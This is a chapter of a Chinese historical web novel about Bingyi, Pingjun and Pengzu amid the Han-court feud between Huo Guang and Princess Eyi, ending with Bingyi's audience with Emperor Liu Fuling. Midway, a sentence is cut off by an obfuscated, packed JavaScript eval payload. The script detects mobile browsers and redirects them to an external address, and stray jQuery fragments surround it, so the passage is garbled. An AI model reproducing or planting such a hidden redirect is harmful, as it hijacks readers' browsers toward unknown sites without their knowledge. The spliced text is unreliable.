南园遗爱杨小依

20.互成水火

    他带着平君去了暴室,他们曾在这里捉过迷藏,在高高挂起的各种颜色的布料之间来回追逐,在这里,别人找不着他们。


    他们一前一后走着,平君跟在病已身后,只是今时来这里,心里没有半点惬意。


    “云青怎么样?”病已问。


    有些话平君安慰欧侯夫人可以,但自欺欺人却不行,欧侯云青浑身是伤,站都站不起来,满身的血污,哪里还有半点之前意气风发的样子。


    在长安狱,他见平君来了,便止不住地哭嚎,于是两人对着哭,平君对他一番安慰,说病已和张贺会帮忙想办法,又说京兆府已经有了线索才将他唬住。


    平君的到来给了欧侯云青莫大的安慰,而有了霍家的玉玦,长安狱的人也不再会欺负他,小卒甚至还连忙去买了几个胡饼给他。


    临走前,欧侯云青求着平君救他,说不想死在长安狱。


    以他们从小一同长大的情分,他居然是求着平君帮忙的,平君只能答应,但她实在不知道该怎么答应。


    想到这,平君就又哭了:“他很不好,伤得很重,我刚才同欧侯夫人说话,也不敢将实情告诉她。病已,要怎么才能救他?”


    “平君……”病已细看着她哭得梨花带雨的脸,眼泪滑落她的脸颊,划过她脸上那些还没完全好了的粉红色伤痕,更显得人楚楚可怜。


    他想,她方才在欧侯家一定忍得很辛苦,如此才能正常地安慰欧侯夫人,但其实这次的事也一定把她吓坏了,她又哪里经历过这些?


    他再次安慰道:“我不是说了吗,云青会没事的。”


    “可对方是鄂邑公主,那个公主我见过,很不好惹,一个区区谓城令又怎么奈何得了她?”


    病已定定神,语气却多了几分肯定,他的手掌轻轻擦过平君的脸,最终按在她的肩上,像一道宝符压下她心里躁动的不安:“他怎么奈何公主我不知道,但平君,你且信我吧。”


    周围那些随风摇摆的长布飘荡起来,纷乱之间,给病已漆黑的双眸染上一些色彩,那些色彩炙热得很,将少年火热的情绪全部显露。


    病已确实从没让她失望。


    平君将这些情绪看在心里,收了收眼泪,靠近了病已一步,抬头望着他近在咫尺的眼睛:“好,我信你。你放心,我会好好的,否则谁去照顾欧侯夫人的心情?”


    病已抽痛的心得了些舒缓,他将流连的目光从平君身上挪开,转而看着纷繁的长布舒了一口气:“以前彭祖总喜欢躲在西边那处染缸旁,他还以为我不知道。”


    “你还说他,你每次都不躲,我很快就能找到你。”平君也从刚才的伤痛中抽离,陷入这些无忧的回忆之中,眉头舒展。


    “是我躲不过你。”


    病已轻笑低头,正好对上平君略带慰藉的眼神,这一次对视,两人都久久不愿移开目光。


    当年在掖庭玩着躲躲藏藏游戏的小孩,终于都要独自面临掖庭之外的艰难。


    平君猛地想起来什么,她今日出门匆忙没系面纱,脸颊上不均匀的肤色都被病已看了去!


    她大惊失色,忙用双手捂着脸:“你别看了!”


    “我早就看到,你现在才说已经太迟了。”病已由衷道:“挺好看的。”


    平君却将脸捂得更紧。


    病已也不再说话,就和她站在这里,直到彭祖找过来。


    “终于找到你们了!”他冲过来:“你们每次都叫人好找!”


    病已问:“你今日不是与右将军去行公务了吗?”


    “事做到一半,张千秋就跑过来,原是鄂邑公主府热闹了!”张彭祖道:“我才知道云青的事,怎么,不同去公主府瞧瞧?”


    平君忙问:“公主府怎么了?”


    “被一个不知名的县令带兵围了。”张彭祖说着还有几分兴奋:“听说杀害樊大人的凶犯就藏在公主府。”


    平君诧异:“那个渭城令真有胆子围公主府?”


    “我特意来告诉你们消息的,阿翁那边我刚才也去说了,云青这会儿该安全了!”


    张彭祖继续撺掇着两人同去公主府,平君就要跟着他走,却被病已拦下了。


    张千秋原应是奉旨监督公主府的,却在胡建来了之后带兵离开,留下他一个小小的渭城令独自对抗当朝长公主,这只能是故意为之,且难免不是一种保身之法。


    “怎么?”彭祖反问拦下他的病已。


    “右将军与中郎将侍中呢?”病已问。


    “他们回家中去了。”


    “右将军有同你说什么?”


    “无外乎让我好好待着别惹祸,我都听腻了。”


    病已却板着张脸:“你得听,公主府此刻去不得。”


    病已知道,凶犯是霍光掌中必得之物,他为之包围公主府在所不惜,还将藏匿凶犯一事闹得满城皆知,这是他同长公主正式的宣战。


    张千秋原本奉旨监督,只在那个可疑男人外出时才带人追捕,说明皇帝不想将与鄂邑公主的矛盾摆到明面,所以张千秋不得不避。


    既然如此,张安世只要是个明白人,就也该躲得远远的,要想此事不沾身,都得避开些。


    只是……病已想,张千秋带人离了公主府邸,到底是有皇帝的旨意还是得了霍光的授意,他不得而知。


    “为何?”彭祖不懂其中原委,只觉得满腔热情被病已浇灭,心中有些泄气。


    “别节外生枝。”病已面色肃然。


    平君也不知道事情始末,更不知道霍光在此事件之间的角色,但她被病已这一提点,倒是又回想起鄂邑公主那个凶神恶煞的母夜叉模样,便也一同劝彭祖:“那个公主很凶,我们还是少与她接触为好。”


    彭祖见这两人一唱一和,不满地耸了耸鼻子:“早知道这样,我就自己偷偷去,亏我还想着给你们报信,真是自找不痛快。”


    病已便安慰:“右将军都答应给你举荐侍中之职了,你就听听他的,若是惹他生气,再让你回暴室,吃亏的可是你。”


    彭祖想想也觉有理,便也跟着两人回了家中。


    当晚注定是众人的一个不眠之夜。第二日清晨,病已和彭祖去了京兆府,平君则带着欧侯家的长辈前往长安狱。


    凶犯果然被渭城令捉拿归案,田安听说了昨日胡建带兵对挑公主府府兵的壮举,口中称赞他勇猛之余心里也得为他哀叹几句,胡建这人的仕途算是到头了。


    两人心里石头落地,彭祖就说要去长安狱接应平君。


    病已想了想,决定去觐见皇帝。


    ……


    病已到温室殿的时候,鄂邑公主正从里面出来,她步履仍旧端庄,但神态之上不免露出几分狠意。


    病已忙俯身让路,待到公主走远了些,才请秦内侍入内通传。


    刘弗陵召病已入殿。又是一年冬日,他命人备好了铜火锅,温室殿内香气四溢,只可惜原本与他一同入宴的人搞砸了他的兴致。


    病已看见他,只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361333|164820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉他的眼神讳莫如深,却又突然换了副心思似的,对病已笑着道:“昌邑王送来的食材,味道不错。”


    病已想,刘贺真是一个心思活络的人,没什么野心,还总对皇帝表着忠心。


    “陛下,病已过来的路上瞧见长公主殿下了,公主殿下她……是否为了京兆尹身亡一事而来?”病已入座后直言。


    刘弗陵横眉一挑:“是也,非也。京兆尹的事不过是个由头,她是来弹劾大将军的,病已,你认为呢,大将军是否擅权?”


    “臣一向未涉朝堂之事,实在不知。”刘弗陵的目光敏锐,而病已却表现得十分平静:“臣昨日听闻京兆尹之事大为震惊,今晨又听说昨日有县令带兵在公主府抓人,心中更是大骇,方才看见公主愤然离去,故有此一问,是臣问多了。”


    “无妨,你来找朕是为何事?”


    “前几日臣曾向陛下禀告过东市集会上出现过一个妖媚男子,不知陛下可有此人线索?”


    刘弗陵的目光转而看向桌上的铜锅,透过热气,病已甚至看到了他眼中些许意味不明的怒意:“朕正想同你说此事,你不是说记得那人的长相吗,朕已经命人找了一名画师,此画师名毛三秋,最善人物画,你让秦内侍带你去寻他,先将此人的画像画好,回头再布置缉拿之事。”


    病已恭敬应下,刘弗陵的回答虽没否认,但也绝口不提鄂邑公主与张千秋,而他脸上那丝一闪而过的怒意着实让病已在意。


    待病已找到毛三秋画成了画像,他再去了一趟鄂邑公主府,公主府外有府兵戒严,他没寻到张千秋的踪影。


    病已想,张千秋今日没有回公主府周边值守,想是已与皇帝汇报过的,而既然今日公主从温室殿得到的结果并不满意,说明皇帝与霍光已经在某种程度上达成共识,只是这共识达成的前因他并不清楚,但这样一来,霍光与鄂邑公主势必形同水火。


    皇帝呢,他是否乐意见到这样一个结果,有人在明处成为他的掩护,开始与鄂邑公主的势力周旋?


    病已曾听张贺说过先帝与卫太子的一些往事。先帝是一个雄韬伟略的君主,在他的统治下大汉终于摆脱了自高祖起对匈奴的畏惧,他开疆扩土,任用酷吏,废除丞相,加强中央集权,独尊儒术。


    但这样的君主,却有一个事事讲求仁义礼信的太子,这曾是许多依附先帝嫔妃李夫人及外戚李广利将军的大臣攻击卫太子的点,但先帝却总说,他与太子性格互补,太子正适合守住他打下来的江山。


    病已是相信先帝这些想法的,他相信先帝曾认真地将卫太子当做接班人来培养,他们因为行事风格的不同反而十分合拍,默契配合着处理朝堂上的纷争。


    但是,人心和朝中局势都是会变的,当先帝真正有了对自己年老死亡的恐惧,而太子的气势却如日中天的时候,他就会变,他会想要剥夺太子的权力,会想要一个温顺而服从的接班人,但那时的太子没有意识到自己父亲心态的变化,才最终承担了巫蛊之祸的恶果。


    今日的刘弗陵,或许也具有这样一种君主的心态,他需要霍光帮他稳定朝堂,甚至去除鄂邑公主的势力,所以他会与霍光在一定场合下达成共识,但事实是,霍光不会是他永远的伙伴。


    而作为一步步在先帝手下成长起来的辅政大臣,霍光更应是清楚地知道这一点。


    病已不知道刘弗陵知晓多少事,又有多少目的,但他今日隔着那冬日铜锅上的氤氲,分明看到了皇帝温和外表之下的另一面。